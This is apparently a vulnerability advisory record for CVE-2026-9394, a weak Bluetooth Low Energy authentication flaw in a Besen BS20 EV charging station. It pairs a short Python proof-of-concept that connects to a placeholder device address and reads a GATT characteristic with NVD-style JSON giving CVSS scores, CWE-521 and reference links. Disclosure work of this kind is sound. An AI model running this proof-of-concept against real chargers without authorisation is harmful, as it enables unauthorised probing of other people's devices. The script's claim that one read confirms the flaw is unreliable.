CVE-2026-9394

import asyncio from bleak import BleakClient # Target device address (replace with actual MAC) TARGET_ADDRESS = "XX:XX:XX:XX:XX:XX" # Characteristic UUID for authentication (example) AUTH_CHAR_UUID = "00002a00-0000-1000-8000-00805f9b34fb" async def exploit_poc(): print(f"[+] Connecting to {TARGET_ADDRESS}...") try: async with BleakClient(TARGET_ADDRESS) as client: print("[+] Connected successfully.") # Attempt to interact with the service to check for weak auth # This is a simulation of sending data to check response model_number = await client.read_gatt_char(AUTH_CHAR_UUID) print(f"[+] Device Info: {model_number}") print("[!] Vulnerability confirmed: Weak/No password requirement allows connection.") except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": asyncio.run(exploit_poc())

{"cve": {"id": "CVE-2026-9394", "sourceIdentifier": "[email protected]", "published": "2026-05-24T20:16:43.837", "lastModified": "2026-05-24T20:16:43.837", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Besen BS20 EV Charging Station up to 20260426. This impacts an unknown function of the component Bluetooth Low Energy Handler. Executing a manipulation can lead to weak password requirements. The attack needs to be done within the local network. This attack is characterized by high complexity. The exploitability is said to be difficult. The original disclosure mentions, that \"[t]hese vulnerabilities have been reported to Besen and we have received their acknowlegement that they are reviewing this as of April 2026.\""}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:A/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 1.8, "accessVector": "ADJACENT_NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 3.2, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-521"}]}], "references": [{"url": "https://github.com/carfeii/besen#finding-1-weak-authentication-mechanism-in-besen-home-ev-charging-station-via-ble", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813569", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365375", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365375/cti", "source": "[email protected]"}]}}